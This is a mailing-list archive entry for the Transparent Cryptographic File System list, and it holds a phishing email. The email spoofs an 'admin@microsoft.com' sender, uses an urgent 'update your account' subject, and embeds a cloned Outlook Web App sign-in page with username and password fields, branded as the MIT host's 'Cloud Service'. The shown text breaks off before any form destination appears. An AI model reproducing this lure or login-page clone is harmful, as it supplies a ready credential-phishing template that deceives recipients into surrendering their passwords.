[9830] in Transparent Cryptographic File System List

home help back first fref pref prev next nref lref last post

Action Required: You Have Pending Messages Update Your Account

daemon@ATHENA.MIT.EDU (bloom-picayune.mit.edu Mail Suppor)
Mon May 30 06:56:14 2022

From: bloom-picayune.mit.edu Mail Support <admin@microsoft.com>
To: tcfs.discuss@bloom-picayune.mit.edu
Date: 30 May 2022 03:56:13 -0700


------=_NextPart_000_0012_52E7E3C5.5AE51897
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: quoted-printable

Dear tcfs.discuss
------=_NextPart_000_0012_52E7E3C5.5AE51897
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3D10">
<link href=3D"/owa/auth/15.1.1979/themes/resources/favicon.ico" rel=3D"shor=
tcut icon" type=3D"image/x-icon">
<meta http-equiv=3D"Content-Type" content=3D"text/html; CHARSET=3DUTF-8">
<meta name=3D"Robots" content=3D"INDEX">
<title>Outlook</title>
<style>
@font-face {
    font-family: "wf_segoe-ui_normal";
    src: url("/owa/auth/15.1.1979/themes/resources/segoeui-regular.eot?#ief=
ix") format("embedded-opentype"),
            url("/owa/auth/15.1.1979/themes/resources/segoeui-regular.ttf")=
 format("truetype");
}

@font-face {
    font-family: "wf_segoe-ui_semilight";
    src: url("/owa/auth/15.1.1979/themes/resources/segoeui-semilight.eot?#i=
efix") format("embedded-opentype"),
        url("/owa/auth/15.1.1979/themes/resources/segoeui-semilight.ttf") f=
ormat("truetype");
}

@font-face {
    font-family: "wf_segoe-ui_semibold";
    src: url("/owa/auth/15.1.1979/themes/resources/segoeui-semibold.eot?#ie=
fix") format("embedded-opentype"),
        url("/owa/auth/15.1.1979/themes/resources/segoeui-semibold.ttf") fo=
rmat("truetype");
}
</style>
<style>/*Copyright (c) 2003-2006 Microsoft Corporation.  All rights reserve=
d.*/

body.rtl=20
{
	text-align:right;
	direction:rtl;
}

body, .mouse, .twide, .tnarrow, form
{
    height: 100%;
    width: 100%;
    margin: 0px;
}

=2Emouse, .twide=20
{
    min-width: 650px; /* min iPad1 dimension */
    min-height: 650px;
    position: absolute;
    top:0px;
    bottom:0px;
    left:0px;
    right:0px;
}

=2Esidebar=20
{
    background-color:#00529F;
}

=2Emouse .sidebar, .twide .sidebar
{
    position:absolute;
    top: 0px;
    bottom: 0px;
    left: 0px;
    display: inline-block;
    width: 332px;
}

=2Etnarrow .sidebar
{
    display: none;
}

=2Emouse .owaLogoContainer, .twide .owaLogoContainer
{
    margin:213px auto auto 109px;
    text-align:left     /* Logo aligns left for both ltr & rtl */
}

=2Etnarrow .owaLogo=20
{
    display: none;
}

=2Emouse .owaLogoSmall, .twide .owaLogoSmall
{
    display: none;
}

=2ElogonDiv=20
{=20
	text-align:left;
}

=2Ertl .logonDiv=20
{=20
	text-align:right;
}

=2Emouse .logonContainer, .twide .logonContainer
{
    padding-top: 174px;
    padding-left: 464px;
    padding-right:142px;
    position:absolute;
    top:0px;
    bottom: 0px;
    left: 0px;
    right: 0px;
    text-align: center;
}

=2Emouse .logonDiv, .twide .logonDiv
{
    position: relative;
    vertical-align:top;
    display: inline-block;
    width: 423px;
}

=2Etnarrow .logonDiv
{
    margin:25px auto auto -130px;
    position: absolute;
    left: 50%;
    width: 260px;
    padding-bottom: 20px;
}

=2Etwide .signInImageHeader, .tnarrow .signInImageHeader
{
    display: none;
}

=2Emouse .signInImageHeader
{
    margin-bottom:22px;
}

=2Etwide .mouseHeader
{
    display: none;
}

=2Emouse .twideHeader
{
    display: none;
}

input::-webkit-input-placeholder
{
    font-size:16px;
    color: #98A3A6;
}

input:-moz-placeholder=20
{
    font-size:16px;
    color: #98A3A6;
}

=2Etnarrow .signInInputLabel, .twide .signInInputLabel
{
    display: none;
}

=2Emouse .signInInputLabel
{
    margin-bottom: 2px;
}

=2Emouse .showPasswordCheck
{
    display: none;
}

=2EsignInInputText
{
    border:1px solid #98A3A6;
    color: #333333;
    border-radius: 0;
    -moz-border-radius: 0;
    -webkit-border-radius: 0;
    box-shadow: none;
    -moz-box-shadow: none;
    -webkit-box-shadow: none;
    -webkit-appearance:none;
    background-color: #FDFDFD;
	width:250px;
	margin-bottom:10px;
	box-sizing: content-box;
    -moz-box-sizing: content-box;
    -webkit-box-sizing: content-box;
}

=2Emouse .signInInputText=20
{
    height: 22px;
    font-size: 12px;
    padding: 3px 5px;
    color: #333333;
	font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-se=
rif;
	margin-bottom: 20px;
}

=2Etwide .signInInputText, .tnarrow .signInInputText
{
    border-color: #666666;
    height: 22px;
    font-size: 16px;
    color: #000000;
    font: $ShellInputTextTouchFont;
    padding: 7px 7px;
	font-family:'Segoe UI Semibold', 'Segoe WP Semibold', 'Segoe UI WPC Semibo=
ld', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
	margin-bottom:20px;
	width: 264px;
}

=2EdivMain
{
	width: 444px;
}

=2El
{
	text-align:left;
}
=2Ertl .l
{
	text-align:right;
}
=2Er
{
	text-align:right;
}
=2Ertl .r
{
	text-align:left;
}

table#tblMain
{
	margin-top: 48px;
	padding: 0px;=20
}
table.mid
{
	width: 385px;
	border-collapse:collapse;
	padding: 0px;=20
	color:#444444;=20
}
table.tblConn
{
	direction:ltr;
}
td.tdConnImg
{
	width: 22px;
}
td.tdConn
{
	padding-top: 15px;
}
td#mdLft
{
	background: url("lgnleft.gif") repeat-y;
	width: 15px;
}
td#mdRt
{
	background: url("lgnright.gif") repeat-y;
	width: 15px;
}
td#mdMid
{
	padding: 0px 45px;
	background: #ffffff;=20
	vertical-align: top;
}
td .txtpad
{
	padding: 3px 6px 3px 0px;=20
}
=2Etxt
{
	padding: 3px;=20
	height: 2.2em;
}
input.btn
{
	color: #ffffff;
	background-color: #eb9c12;
	border: 0px;=20
	padding: 2px 6px;=20
	margin: 0px 6px;=20
	text-align:center;
}
=2EbtnOnFcs
{
	color: #ffffff;
	background-color: #eb9c12;
	border: 0px;=20
	padding: 2px 6px;=20
	margin: 0px 6px;=20
	text-align:center;
}
=2EbtnOnMseOvr
{
	color: #ffffff;
	background-color: #f9b133;
	border: 0px;=20
	padding: 2px 6px;=20
	margin: 0px 6px;=20
	text-align:center;
}
=2EbtnOnMseDwn
{
	color: #000000;
	background-color: #f9b133;
	border: 0px solid #f9b133;
	padding: 2px 6px;=20
	margin: 0px 6px;=20
	text-align:center;
}
=2Enowrap
{
	white-space:nowrap;
}
hr
{
	height: 0px;=20
	visibility: hidden;
}

=2Ewrng
{
	color:#ff6c00;
}
=2EdisBsc
{
	color:#999999;
}
=2Eexpl
{
	color:#999999;
}
=2Ew100, .txt
{
	width: 100%;
}
=2Etxt
{
	margin: 0px 6px;=20
}
=2Erdo
{
	margin: 0px 12px 0px 32px;
}
body.rtl .rdo
{
	margin: 0px 32px 0px 12px;
}
tr.expl td, tr.wrng td
{
	padding: 2px 0px 4px;=20
}
tr#trSec td
{
	padding: 3px 0px 8px;=20
}
/* language page specific styles */
td#tdLng
{
	padding: 12px 0px;=20
}
td#tdTz
{
	padding: 8px 0px;=20
}
select#selTz
{
	padding: 0px;=20
	margin: 0px;=20
}
td#tdOptMsg
{
	padding: 10px 0px;=20
}
td#tdOptChk
{
	padding: 0px 0px 15px 65px;
}
td#tdOptAcc
{
	vertical-align:middle;
	padding: 0px 0px 0px 3px;=20
}
select#selLng
{
	margin: 0px 16px;
}
/* logoff page specific styles */
td#tdMsg
{
	margin: 9px 0px 64px;
}
input#btnCls
{
	margin: 3px 6px;=20
}
td.lgnTL, td.lgnBL
{
	width: 456px;
}
td.lgnTM
{
	background: url("lgntopm.gif") repeat-x;
	width: 100%;
}
td.lgnBM
{
	background: url("lgnbotm.gif") repeat-x;
	width: 100%;
}
td.lgnTR, td.lgnBR
{
	width: 45px;
}
table.tblLgn
{
	padding: 0px;=20
	margin: 0px;=20
	border-collapse:collapse;
	width: 100%;
}
=2EsignInBg
{
	margin:0px;
}

=2EsignInTextHeader
{
	font-size:60px;
	color:#404344;
	font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-se=
rif;
	margin-bottom:18px;
	white-space: nowrap;
}

=2EsignInInputLabel
{
	font-size:12px;
	color:#666666;
	font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-se=
rif;
}

=2EsignInCheckBoxText
{
	font-size:12px;
	color:#6A7479;
	font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semi=
light', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
	margin-top:16px;
}

=2Etwide .signInCheckBoxText, .tnarrow .signInCheckBoxText
{
    font-size: 15px;
}

=2EsignInCheckBoxLink
{
	font-size:12px;
	color:#0072C6;
	font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semi=
light', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
}

=2EsignInEnter
{
	font-size:22px;
	color:#0072C6;
	font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-se=
rif;
	margin-top:20px;
}

=2Etwide .signInEnter
{
	margin-top:17px;
	font-size: 29px;
}

=2Etnarrow .signInEnter=20
{
	margin-top:2px;
	font-size: 29px;
	position: relative;
	float: left;
	left: 50%;
}

=2Esigninbutton=20
{
    cursor:pointer;
    display:inline
}

=2Emouse .signinbutton
{
    padding: 0px 8px 5px 8px;
    margin-left: -8px;
}

=2Ertl .mouse .signinbutton
{
    margin-right: -8px;
}

=2Etnarrow .signinbutton=20
{
	position: relative;
	float: left;
	left: -50%;
}

=2EshellDialogueHead
{
	font-size:29px;
	color:#0072C6;
	font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semi=
light', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
}

=2Emouse .shellDialogueHead=20
{
    line-height: 35px;
    margin-bottom: 10px;
}

=2Etwide  .shellDialogueHead, .tnarrow .shellDialogueHead
{
	line-height:34px;
	margin-bottom: 12px;
}

=2EshellDialogueMsg
{
	font-size:13px;
	color:#333333;
	font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-se=
rif;
	line-height:18px;
}

=2Etwide .shellDialogueMsg, .tnarrow .shellDialogueMsg
{
    font-size: 15px;
}

=2EheaderMsgDiv=20
{
    width: 350px;
    margin-bottom: 22px;
}

=2Etwide .headermsgdiv
{
    margin-bottom: 30px;
}

=2Etnarrow .headermsgdiv
{
    width: 260px;
    margin-bottom: 30px;
}

=2EsignInError
{
	font-size:12px;
	color:#C1272D;
	font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semi=
light', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
	margin-top:12px;
}

=2EpasswordError
{
    color: #A80F22;
	font-family:'Segoe UI', 'Segoe WP', 'Segoe UI WPC', Tahoma, Arial, sans-se=
rif;
    line-height: 18px;
}

=2Emouse .passwordError
{=20=20=20=20
    margin-top: 10px;
    font-size: 13px;
}

=2Etwide .passwordError, .tnarrow .passwordError
{
    margin-top: 12px;
    font-size: 15px;
}

=2EsignInExpl
{
	font-size:12px;
	color:#999999;
	font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semi=
light', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
	margin-top:5px;
}

=2EsignInWarning
{
	font-size:12px;
	color:#C1272D;
	font-family:'Segoe UI Semilight', 'Segoe WP Semilight', 'Segoe UI WPC Semi=
light', 'Segoe UI', 'Segoe WP', Tahoma, Arial, sans-serif;
	margin-top:5px;
}

input.chk
{
	margin-right:9px;
	margin-left:0px;
}

=2EimgLnk
{
	vertical-align: middle;=09
	line-height:2;
	margin-top: -2px;
}

=2EsigninTxt
{
	padding-left:11px;
	padding-right:11px;     /* Needed for RTL, doesnt hurt to add this for LTR=
 as well */
}

=2Ehidden-submit {=20
    border: 0 none;=20
    height: 0;=20
    width: 0;=20
    padding: 0;=20
    margin: 0;=20
    overflow: hidden;=20
}=20

=2EofficeFooter
{
    position:absolute;
    bottom: 33px;
    right: 45px;
}

=2Etnarrow .officeFooter
{
    display: none;
}
</style>
<script>
//  flogon.js
//
//  This file contains the script used by Logon.aspx
//
//Copyright (c) 2003-2006 Microsoft Corporation.  All rights reserved.

/// <summary>
/// OnLoad handler for logon page
/// </summary>
window.onload =3D function ()
{
    // If we are replacing the current window with the logon page, initiali=
ze the logon page UI now
    //
    if (a_fRC)
        initLogon();

    // Otherwise we need to find the window to replace with the logon page =
and redirect that window
    //
    else
        redir();
};

/// <summary>
/// Initializes the logon page
/// </summary>
function initLogon()
{
    try
    {
        //
        // we don't call document.execCommand("ClearAuthenticationCache","f=
alse"); anymore. As a part of the Pending-Notification
        // infrastructure, we are making a change to make sure startpage do=
es not get loaded more than once. This solution is cookie
        // based. This execCommand was clearing all cookies in the scenario=
 when a user logged on from a child window during an
        // FBA timeout. We do not want that to happen anymore. If this brea=
ks anything, we may need to consider a different solution.
        //
        // Old Comments:
        // If the "Clear the Authentication Cache" flag is set to true and
        // we are coming from the logoff page , clear the cache. See bug 41=
770 and 5840 for details.
        //

        // Logoff the S-Mime control.
        //
        LogoffMime();
    }
    catch (e) { }

    // Check for username cookie
    //
    var re =3D /(^|; )logondata=3Dacc=3D([0|1])&lgn=3D([^;]+)(;|$)/;
    var rg =3D re.exec(document.cookie);

    if (rg)
    {
        // Fill in username, set security to private, and restore the "use =
basic" selection
        //

        gbid("username").value =3D rg[3];

        try
        {
            var signInErrorElement =3D gbid("signInErrorDiv");
            if (signInErrorElement)
            {
                signInErrorElement.focus();
            }
            else
            {
                gbid("password").focus();
            }
        }
        catch (e)
        {}

        if (gbid("chkPrvt") && !gbid("chkPrvt").checked)
        {
            gbid("chkPrvt").click();
        }

        if (rg[2] =3D=3D "1" && gbid("chkBsc"))	// chkBsc doesn't exist if =
the request comes from ECP
            gbid("chkBsc").click();

    }
    else
    {
        // The variable g_fFcs is set to false when the password gains focu=
s,
        // so that we don't accidentally set focus to the username field wh=
ile
        // the user is typing their password
        //
        if (g_fFcs)
        {
            try
            {
                gbid("username").focus();
            }
            catch (e)
            { }
        }
    }

    // OWA Premium currently supports
    // IE 7+, Safari 3+, Firefox 3+ for Windows / Mac
    if (IsOwaPremiumBrowser() && gbid("chkBsc"))	// chkBsc doesn't exist if=
 the request comes from ECP
        gbid("chkBsc").disabled =3D false;

    // Are cookies enabled?
    //
    var sCN =3D "cookieTest";

    document.cookie =3D sCN + "=3D1";
    var cookiesEnabled =3D document.cookie.indexOf(sCN + "=3D") !=3D -1;

    if (cookiesEnabled =3D=3D false)
    {
        shw(gbid("cookieMsg"));
        hd(gbid("lgnDiv"));
    }

    // Show the public/private warning message
    clkSec();
}


/// <summary>
/// Finds the frame we want to load the logon page into, and then loads it =
there
/// </summary>
function redir()
{
    var o =3D window;

    // If we're in a dialog, open a logon window and close the dialog - thi=
s
    // basically inlines a version of opnWin() so that we don't need to inc=
lude
    // uglobal.js in logon.aspx
    //
    try
    {
        if (o.dialogArguments)
        {
            var sWN =3D new String(Math.round(Math.random() * 100000));
            var sF =3D "toolbar=3D0,location=3D0,directories=3D0,status=3D1=
,menubar=3D0,scrollbars=3D1,resizable=3D1,width=3D800,height=3D600";
            var iT =3D Math.round((screen.availHeight - 600) / 2);
            var iL =3D Math.round((screen.availWidth - 800) / 2);
            sF +=3D ",top=3D" + iT + ",left=3D" + iL;

            // Fix for E12 14838.  Need to open this window from the window=
 that opened us, because opening it from this dialog
            // which we are about to close can cause the auth cookies to no=
t propagate to the window that opened this dialog.
            //
            var op =3D o.dialogArguments.opener;
            try
            {
                if (op)
                    op.open(a_sCW, sWN, sF);
            }
            catch (e)
            { }

            o.close();
            return;
        }
    }
    catch (e)
    { }

    // The url to redirect to after logon
    //
    var sUrl =3D a_sUrl;

    // Find the outermost OWA frame
    //
    while (1)
    {
        try
        {
            // Try to move up one window/frame
            //
            if (!(o.frameElement && o.frameElement.ownerDocument))
                break;

            var oF =3D o.frameElement.ownerDocument.parentWindow || // IE n=
ame
                    o.frameElement.ownerDocument.defaultView;     // W3C na=
me

            // If we're not in an OWA/ECP window, we've found the frame to =
replace
            //
            if (!oF || (!oF.g_fOwa && !oF.g_fEcp))
                break;

            // Move up a frame
            //
            o =3D oF;

            // We're replacing something other than the current frame,  we'=
ll just
            // log back in to the default start page if the frame doesn't p=
rovide a url
            //  for relogon. The frame should provide a global method GetRe=
loadUrl
            // if it wants to keep current state.
            // $NOTES: ECP needs to keep the current frame state after re-l=
ogon.
            sUrl =3D o.GetReloadUrl ? "&url=3D" + encodeURIComponent(o.GetR=
eloadUrl()) : "";
        }
        // Either we're at the top, or access was denied - either way, stop=

        //
        catch (e)
        {
            break;
        }
    }

    // See if the window was opened by another window
    //
    try
    {
        var oW =3D o.opener;

        // If it was opened by another OWA/ECP window, take it over
        //
        if (oW && (oW.g_fOwa || oW.g_fEcp))
        {
            // Center and resize the window
            //
            var iX =3D Math.round((screen.availWidth - 800) / 2);
            var iY =3D Math.round((screen.availHeight - 600) / 2);
            o.moveTo(iX, iY);
            o.resizeTo(800, 600);

            // Close the window after logging in
            //
            sUrl =3D "&url=3D" + encodeURIComponent(a_sCW);
        }
    }
    // We don't have access to the opener window, so it couldn't be part of=
 OWA
    //
    catch (e) { }

    // Redirect the window
    //
    if (o.navigate)
        o.navigate(a_sLgn + sUrl);
    else
        o.location =3D a_sLgn + sUrl;
}

/// <summary>
/// Show an element
/// </summary>
/// <param name=3D"o">Element to show</param>
function shw(o)
{
    o.style.display =3D "";
}

/// <summary>
/// Hide an element
/// </summary>
/// <param name=3D"o">Element to hide</param>
function hd(o)
{
    o.style.display =3D "none";
}

/// <summary>
/// OnClick handler for the show private explanation=20
/// </summary>
function clkSecExp(id)
{
    var o =3D gbid(id);

    if (o.tagName =3D=3D "IMG")
        o =3D o.parentNode;

    switch (o)
    {
        case gbid("lnkShwSec"):
            hd(gbid("lnkShwSec"));
            shw(gbid("lnkHdSec"));
            shw(gbid("prvtExp"));
            gbid("lnkHdSec").focus();
            break;
        case gbid("lnkHdSec"):
            shw(gbid("lnkShwSec"));
            hd(gbid("lnkHdSec"));
            hd(gbid("prvtExp"));
            gbid("lnkShwSec").focus();
            break;
    }
}

/// <summary>
/// onkeydown handler for the show private explanation=20
/// </summary>
function kdSecExp(id)
{
    // When user press space bar, we shall treat it as click.
    if (window.event.keyCode =3D=3D 32)
    {
        clkSecExp(id);
    }
}

/// <summary>
/// OnClick handler for the security radio buttons
/// </summary>
function clkSec()
{
    if (gbid("chkPrvt") =3D=3D null) {

        // If the private checkbox is not present in the page there is noth=
ing we should do here
        //
        return;
    }

    // Display/hide the warning message
    //
    var c =3D gbid("chkPrvt").checked;

    gbid("prvtWrn").style.display =3D c ? "" : "none";

    // Update flags and username cookie
    //
    if (c)
    {
        document.logonForm["flags"].value |=3D 4;
    }
    else
    {
        document.logonForm["flags"].value &=3D ~4;

        // Remove the cookie by expiring it
        //
        var oD =3D new Date();
        oD.setTime(oD.getTime() - 9999);
        document.cookie =3D "logondata=3D; expires=3D" + oD.toUTCString();
        document.cookie =3D "PrivateComputer=3D; path=3D/; expires=3D" + oD=
=2EtoUTCString();
    }
}

/// <summary>
/// OnClick handler for the use owa basic checkbox
/// </summary>
function clkBsc()
{
    // Display/hide the warning message
    //
    var c =3D gbid("chkBsc").checked;
    gbid("bscExp").style.display =3D c ? "" : "none";

    if (c)
        document.logonForm.flags.value |=3D 1;
    else
        document.logonForm.flags.value &=3D ~1;
}

function checkSubmit(e) {
    if (e && e.keyCode =3D=3D 13) {
        // Since we are explicitly handling the click prevent the default i=
mplicit submit=20=20
        if (e.preventDefault) {
            e.preventDefault();
        }

        clkLgn();
    }
} 


/// <summary>
/// OnClick handler for the logon button
/// </summary>
function clkLgn()
{
    // Add performance marker for Logon page as the item name defined in th=
e spec:
    // http://exweb/14/Specs/E14 Spec Library/Client side perf marker defin=
ition.xlsx
    //
    addPerfMarker("Logon.Start");

    var p =3D false;

    if (gbid("chkPrvt")) {
        p =3D p | gbid("chkPrvt").checked;
    }
    else
    {
        p =3D true;
    }

    // If security is set to private, add a cookie to persist username and =
basic setting
    // Cookie format: logondata=3Dacc=3D<1 or 0>&lgn=3D<username>
    //
    if (p)
    {
        // Calculate the expires time for two weeks
        //
        var oD =3D new Date();
        oD.setTime(oD.getTime() + 2 * 7 * 24 * 60 * 60 * 1000);
        var sA =3D "acc=3D" + (gbid("chkBsc") && gbid("chkBsc").checked ? 1=
 : 0);
        var sL =3D "lgn=3D" + gbid("username").value;
        document.cookie =3D "logondata=3D" + sA + "&" + sL + "; expires=3D"=
 + oD.toUTCString();
        document.cookie =3D "PrivateComputer=3Dtrue; path=3D/; expires=3D" =
+ oD.toUTCString();
    }

    if (gbid("showPasswordCheck").checked)
    {
        passwordElement =3D gbid("password");
        passwordTextElement =3D gbid("passwordText");
        passwordElement.value =3D passwordTextElement.value;
    }

    // We clean the post back cookie in order to indicate that the credenti=
als post is legitimate (and not history postback)
    //
    document.cookie =3D "PBack=3D0; path=3D/";
    document.logonForm.submit();
}

/// <summary>
/// OnClick handler for the retry button
/// </summary>
function clkRtry()
{
    window.location.reload();
}

/// <summary>
/// OnClick handler for the ok button after changing password (will go to o=
wa/)
/// </summary>
function clkReLgn()
{
    window.location.href =3D '../';
}

/// <summary>
/// GetElementByID from Document
/// </summary>
/// <param name=3D"s">Id of the Element</param>
function gbid(s)
{
    return document.getElementById(s);
}

/// <summary>
/// Is the Client IE 7, Safari 3, Firefox 3 or Above
/// Note The rules should match owa\bin\core\Utlities.cs@IsDownLevelClient
/// </summary>
function IsOwaPremiumBrowser()
{
    var ua =3D navigator.userAgent;
    var av =3D navigator.appVersion;
    var mac =3D (av.indexOf('Mac') !=3D -1);
    var win =3D ((av.indexOf('Win') !=3D -1) || (av.indexOf('NT') !=3D -1))=
;

    // If you change the follow browser check logic, change utility.js as w=
ell.
    // We have duplicate logic because otherwise logon page must include mo=
re code than necessary.
    //
    var ie =3D (ua.indexOf("MSIE ") !=3D -1);
    var firefox =3D (ua.indexOf("Firefox/") !=3D -1 && ua.indexOf("Gecko/")=
 !=3D -1 && Array.every);
    var safari =3D (ua.indexOf("Safari") !=3D -1 && ua.indexOf("WebKit") !=
=3D -1);
    var version =3D 2.0;

    if (ie)
    {
        version =3D parseFloat(ua.replace(/^.*MSIE /, ''));
    }
    else if (firefox)
    {
        version =3D parseFloat(ua.replace(/^.*Firefox\//, ''));
    }
    else if (safari)
    {
        version =3D parseFloat(ua.replace(/^.*Version\//, ''));
    }
    else
    {
        version =3D parseInt(av);
    }

    if (win)
    {
        if (ie)
            return (version >=3D 7.0);
        else if (safari)
            return (version >=3D 3.0);
        else if (firefox)
            return (version >=3D 3.0);
    }
    else if (mac)
    {
        if (safari)
            return (version >=3D 2.0);
        else if (firefox)
            return (version >=3D 3.0);
    }

    return false;
}

/// <summary>
/// Convert an error code to HRESULT.
/// </summary>
function hres(iErr)
{
    return iErr + 0xffffffff + 1;
}

/// <summary>
/// Log off S-MIME control if it presents.
/// </summary>
function LogoffMime()
{
    try
    {
        if ((typeof (mimeLogoffE2k3) !=3D "undefined" && null !=3D mimeLogo=
ffE2k3) && IsMimeCtlInst("MimeBhvr.MimeCtlVer"))
            mimeLogoffE2k3.Logoff();

        if ((typeof (mimeLogoffE2k7SP1) !=3D "undefined" && null !=3D mimeL=
ogoffE2k7SP1) && IsMimeCtlInst("OwaSMime.MimeCtlVer"))
            mimeLogoffE2k7SP1.Logoff();

        if ((typeof (mimeLogoffE2k9) !=3D "undefined" && null !=3D mimeLogo=
ffE2k9) && IsMimeCtlInst("OwaSMime2.MimeCtlVer"))
            mimeLogoffE2k9.Logoff();
    }
    catch (e)
    {
    }
}

/// <summary>
/// Add performance marker which can write ETW trace for clicking logon
/// </summary>
/// <param name=3D"sItemName">Identify string to say start clicking logon</=
param>
function addPerfMarker(sItemName)
{
    try
    {
        if (window.msWriteProfilerMark)
        {
            window.msWriteProfilerMark(sItemName);
        }
    }
    catch (e)
    {
        // We don't care any exception caused by test code in product, swal=
low it
    }
}

//
// NOTE: flogon.js does not contain a call to stJS("flogon.js"). This is be=
cause flogon.js is loaded at logon time before uglobal.js
//

//-----------------------------------------------------------
// END flogon.js
//-----------------------------------------------------------

</script>


<script type=3D"text/javascript">
	<!--
	var a_fRC =3D 1;
	var g_fFcs =3D 1;
	var a_fLOff =3D 0;
	var a_fCAC =3D 0;
	var a_fEnbSMm =3D 0;
/// <summary>
/// Is Mime Control installed?
/// </summary>
function IsMimeCtlInst(progid)
{
	if (!a_fEnbSMm)
		return false;

	var oMimeVer =3D null;

	try=20
	{
		// TODO: ingore this on none IE browser
		//
		//oMimeVer =3D new ActiveXObject(progid);
	}=20
	catch (e)
	{=20
	}

	if (oMimeVer !=3D null)
		return true;
	else
		return false;
}

/// <summary>
/// Render out the S-MIME control if it is installed.
/// </summary>
function RndMimeCtl()
{
	if (IsMimeCtlInst("MimeBhvr.MimeCtlVer"))
		RndMimeCtlHlpr("MimeNSe2k3", "D801B381-B81D-47a7-8EC4-EFC111666AC0", "MIM=
Ee2k3", "mimeLogoffE2k3");

	if (IsMimeCtlInst("OwaSMime.MimeCtlVer"))
		RndMimeCtlHlpr("MimeNSe2k7sp1", "833aa5fb-7aca-4708-9d7b-c982bf57469a", "=
MIMEe2k7sp1", "mimeLogoffE2k7sp1");

	if (IsMimeCtlInst("OwaSMime2.MimeCtlVer"))
		RndMimeCtlHlpr("MimeNSe2k9", "4F40839A-C1E5-47E3-804D-A2A17F42DA21", "MIM=
Ee2k9", "mimeLogoffE2k9");
}

/// <summary>
/// Helper function to factor out the rendering of the S/MIME control.
/// </summary>
function RndMimeCtlHlpr(objid, classid, ns, id)
{
	document.write("<OBJECT id=3D'" + objid + "' classid=3D'CLSID:" + classid =
+ "'></OBJECT>");
	document.write("<?IMPORT namespace=3D'" + ns + "' implementation=3D#" + ob=
jid + ">");
	document.write("<" + ns + ":Logoff id=3D'" + id + "' style=3D'display:none=
'/>");
}
	-->
</script>

    <script>

        var mainLogonDiv =3D window.document.getElementById("mainLogonDiv")=
;
        var showPlaceholderText =3D false;
        var mainLogonDivClassName =3D 'mouse';

        if (mainLogonDivClassName =3D=3D "tnarrow") {
            showPlaceholderText =3D true;

            // Output meta tag for viewport scaling
            document.write('<meta name=3D"viewport" content=3D"width =3D 32=
0, initial-scale =3D 1.0, user-scalable =3D no" />');
        }
        else if (mainLogonDivClassName =3D=3D "twide"){
            showPlaceholderText =3D true;
        }

        function setPlaceholderText() {
                window.document.getElementById("username").placeholder =3D =
"Username";
                window.document.getElementById("password").placeholder =3D =
"password";
                window.document.getElementById("passwordText").placeholder =
=3D "password";
        }

        function showPasswordClick() {
            var showPassword =3D window.document.getElementById("showPasswo=
rdCheck").checked;
            passwordElement =3D window.document.getElementById("password");=

            passwordTextElement =3D window.document.getElementById("passwor=
dText");
            if (showPassword)
            {
                passwordTextElement.value =3D passwordElement.value;
                passwordElement.style.display =3D "none";
                passwordTextElement.style.display =3D "inline";
                passwordTextElement.focus();
            }
            else
            {
                passwordElement.value =3D passwordTextElement.value;
                passwordTextElement.style.display =3D "none";
                passwordTextElement.value =3D "";
                passwordElement.style.display =3D "inline";
                passwordElement.focus();
            }
        }
    </script>

<meta name=3D"GENERATOR" content=3D"MSHTML 11.00.9600.19003"></head>
<body style=3D"height: 100%;
    width: 100%;
    margin: 0px; margin:0px" class=3D"signInBg"><p style=3D'color: rgb(0, 0=
, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-=
family: "Times New Roman"; font-size: medium; font-style: normal; font-weig=
ht: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; fon=
t-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke=
-width: 0px; text-decoration-style: initial; text-decoration-color: initial=
;'><font color=3D"#ff0000" face=3D"Calibri" size=3D"7">
<span style=3D"color: rgb(153, 204, 0); font-size: xx-large;"><font color=
=3D"#1f7be0" face=3D"Times New Roman"><strong>bloom-picayune.mit.edu Cloud =
Service</strong></font></span></font></p>
<font size=3D"5" style=3D'color: rgb(0, 0, 0); text-transform: none; text-i=
ndent: 0px; letter-spacing: normal; font-family: "Times New Roman"; font-st=
yle: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orph=
ans: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: norma=
l; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-dec=
oration-color: initial;'>
<div style=3D"margin: 0px; padding: 0px; color: rgb(0, 0, 0); text-transfor=
m: none; text-indent: 0px; letter-spacing: normal; font-family: Tahoma, Gen=
eva, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; wor=
d-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-colo=
r: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: n=
ormal; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text=
-decoration-color: initial;">
<span style=3D"color: rgb(0, 0, 0); text-transform: none; text-indent: 0px;=
 letter-spacing: normal; font-family: calibri; font-size: large; font-style=
: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans=
: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligature=
s: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-=
decoration-style: initial; text-decoration-color: initial;"><font color=3D"=
#1d2228"><font face=3D"Arial" size=3D"3"><strong>
